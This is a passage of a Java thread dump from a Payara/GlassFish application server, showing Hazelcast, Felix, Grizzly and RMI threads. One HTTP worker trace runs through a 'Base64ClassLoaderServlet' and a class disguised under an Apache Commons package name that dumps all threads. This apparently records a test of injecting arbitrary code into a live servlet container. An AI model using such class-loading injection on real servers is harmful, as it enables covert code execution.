java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #150 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.9/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessorAtomic.run(ContainerBase.java:1842) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.operation-parker" #96 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ba479f9 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.DelayQueue.poll(DelayQueue.java:291) + at com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask.doRun(OperationParkerImpl.java:228) + at com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask.run(OperationParkerImpl.java:211) + at java.base@21.0.9/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:572) + at java.base@21.0.9/java.util.concurrent.FutureTask.run(FutureTask.java:317) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"GlassFish Kernel Main Thread" #163 [WAITING] on com.sun.enterprise.v3.server.AppServerStartup$1@555212ce + java.lang.Thread.State: WAITING + at java.base@21.0.9/java.lang.Object.wait0(Native Method) + at java.base@21.0.9/java.lang.Object.wait(Object.java:366) + at java.base@21.0.9/java.lang.Object.wait(Object.java:339) + at com.sun.enterprise.v3.server.AppServerStartup$1.run(AppServerStartup.java:276) + +"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@43a7eb7e + java.lang.Thread.State: WAITING + at java.base@21.0.9/java.lang.Object.wait0(Native Method) + at java.base@21.0.9/java.lang.Object.wait(Object.java:366) + at java.base@21.0.9/java.lang.Object.wait(Object.java:339) + at java.base@21.0.9/java.lang.ref.NativeReferenceQueue.await(NativeReferenceQueue.java:48) + at java.base@21.0.9/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158) + at java.base@21.0.9/java.lang.ref.NativeReferenceQueue.remove(NativeReferenceQueue.java:89) + at java.base@21.0.9/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:173) + +"FelixResolver-7" #40 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@393a5514 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"DestroyJavaVM" #164 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"EventAdminAsyncThread #10" #179 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ab86205 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"RMI GC Daemon" #185 daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@5aa4e1df + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/java.lang.Object.wait0(Native Method) + at java.base@21.0.9/java.lang.Object.wait(Object.java:366) + at java.rmi@21.0.9/sun.rmi.transport.GC$Daemon.run(GC.java:127) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.9/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) + +"RMI TCP Accept-8686" #183 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.Net.accept(Native Method) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl.accept(NioSocketImpl.java:748) + at java.base@21.0.9/java.net.ServerSocket.implAccept(ServerSocket.java:709) + at java.base@21.0.9/java.net.ServerSocket.platformImplAccept(ServerSocket.java:674) + at java.base@21.0.9/java.net.ServerSocket.implAccept(ServerSocket.java:623) + at java.base@21.0.9/sun.security.ssl.SSLServerSocketImpl.accept(SSLServerSocketImpl.java:271) + at java.rmi@21.0.9/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:424) + at java.rmi@21.0.9/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:388) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"http-thread-pool::http-listener-1(2)" #120 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@d265a9c + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-11" #44 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@393a5514 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.TcpServer.thread-2" #114 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5940247a + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"http-thread-pool::http-listener-2(1)" #126 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6676490c + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.IO.thread-out-2" #110 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.affectionate_khayyam.TcpServer.thread-3" #115 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5940247a + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"GF Domain XML" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@308087cc + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@21.0.9/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:572) + at java.base@21.0.9/java.util.concurrent.FutureTask.run(FutureTask.java:317) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"http-thread-pool::http-listener-1(5)" #123 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/java.lang.Thread.dumpThreads(Native Method) + at java.base@21.0.9/java.lang.Thread.getAllStackTraces(Thread.java:2522) + at org.apache.commons.lang.JiuQI.ErrorDcbtfHandler.toString(BasicInfoPrinter.java:26) + at java.base@21.0.9/java.lang.String.valueOf(String.java:4465) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:326) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:27) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1554) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:331) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:17) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:253) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at org.glassfish.tyrus.servlet.TyrusServletFilter.doFilter(TyrusServletFilter.java:83) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:253) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:22) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:253) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:257) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:166) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:757) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:577) + at com.sun.enterprise.web.WebPipeline.invoke(WebPipeline.java:99) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:158) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:372) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:239) + at com.sun.enterprise.v3.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:520) + at com.sun.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:217) + at org.glassfish.grizzly.http.server.HttpHandler.runService(HttpHandler.java:174) + at org.glassfish.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:153) + at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:196) + at org.glassfish.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:88) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:246) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:178) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:118) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:96) + at org.glassfish.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:51) + at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:510) + at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:82) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:83) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:101) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"GF Domain XML" #65 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@6ccf3310 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"iiop-service-kernel(1) SelectorRunner" #136 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.priority-generic-operation.thread-0" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7784f12b + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:98) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"FelixStartLevel" #30 daemon [WAITING] on java.util.ArrayList@55bd9fb4 + java.lang.Thread.State: WAITING + at java.base@21.0.9/java.lang.Object.wait0(Native Method) + at java.base@21.0.9/java.lang.Object.wait(Object.java:366) + at java.base@21.0.9/java.lang.Object.wait(Object.java:339) + at org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:274) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"fileinstall-/opt/payara/appserver/glassfish/domains/domain1/autodeploy/" #174 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.9/java.lang.Thread.sleep(Thread.java:509) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:293) + +"Signal Dispatcher" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"EventAdminAsyncThread #3" #170 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ab86205 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web]]" #149 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.9/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessorAtomic.run(ContainerBase.java:1842) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"CM Event Dispatcher" #166 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4b2ed2b2 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:485) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:673) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"ContainerBackgroundSessionProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #151 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.9/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundSessionProcessorAtomic.run(ContainerBase.java:1903) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"FileSystemWatchService" #175 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.fs.LinuxWatchService.poll(Native Method) + at java.base@21.0.9/sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:307) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"RMI TCP Connection(2)-192.168.215.4" #189 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.Net.poll(Native Method) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:191) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:280) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:304) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:346) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:796) + at java.base@21.0.9/java.net.Socket$SocketInputStream.read(Socket.java:1109) + at java.base@21.0.9/sun.security.ssl.SSLSocketInputRecord.read(SSLSocketInputRecord.java:489) + at java.base@21.0.9/sun.security.ssl.SSLSocketInputRecord.readHeader(SSLSocketInputRecord.java:483) + at java.base@21.0.9/sun.security.ssl.SSLSocketInputRecord.bytesInCompletePacket(SSLSocketInputRecord.java:70) + at java.base@21.0.9/sun.security.ssl.SSLSocketImpl.readApplicationRecord(SSLSocketImpl.java:1461) + at java.base@21.0.9/sun.security.ssl.SSLSocketImpl$AppInputStream.read(SSLSocketImpl.java:1066) + at java.base@21.0.9/java.io.BufferedInputStream.fill(BufferedInputStream.java:291) + at java.base@21.0.9/java.io.BufferedInputStream.implRead(BufferedInputStream.java:325) + at 